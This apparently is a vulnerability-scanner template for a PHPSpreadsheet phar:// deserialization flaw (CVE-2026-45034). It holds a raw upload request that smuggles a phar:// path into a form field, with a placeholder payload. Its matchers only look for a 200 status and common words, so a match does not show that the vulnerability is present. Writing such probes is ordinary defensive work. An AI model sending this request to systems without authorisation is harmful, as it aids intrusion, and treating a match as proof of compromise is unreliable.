id: CVE-2026-45034 info: name: PHPSpreadsheet Phar Deserialization RCE author: Cyber DarkNay severity: critical description: | PHPSpreadsheet library allows phar:// deserialization via file upload, leading to unauthenticated RCE. reference: - https://nvd.nist.gov/vuln/detail/CVE-2026-45034 tags: cve,cve2026,rce,phar,deserialization variables: filename: "{{randstr}}.xlsx" payload: "test" requests: - raw: - | POST /vendor/phpoffice/phpspreadsheet/samples/index.php HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data; boundary=----WebKitFormBoundary ------WebKitFormBoundary Content-Disposition: form-data; name="file"; filename="{{filename}}" Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet {{payload}} ------WebKitFormBoundary Content-Disposition: form-data; name="filename" phar://{{filename}}/test.txt ------WebKitFormBoundary-- matchers: - type: status status: - 200 - type: word part: body words: - "Spreadsheet" - "loaded"